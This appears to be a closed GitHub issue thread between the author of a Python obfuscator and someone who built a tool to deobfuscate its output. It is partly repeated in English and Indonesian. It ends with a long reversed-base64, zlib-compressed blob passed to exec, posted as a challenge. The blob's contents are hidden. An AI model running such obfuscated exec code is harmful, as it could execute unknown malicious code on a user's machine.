Closed ferlyafriliyan closed 8 months ago
why did you make a tool to reverse the obfuscation of my tool
this is tool for deobf pyobfucate pyd bro =))))))) i just use your obf for example
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
give me the open source of the tool for decoding pyobfuscate.com/pyd that is, if you allow it
my new encryption can u deobfuscate
= lambda : import('zlib').decompress(import('base64').b64decode([::-1]));exec(()(b'=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'))
my new encryption can u deobfuscate
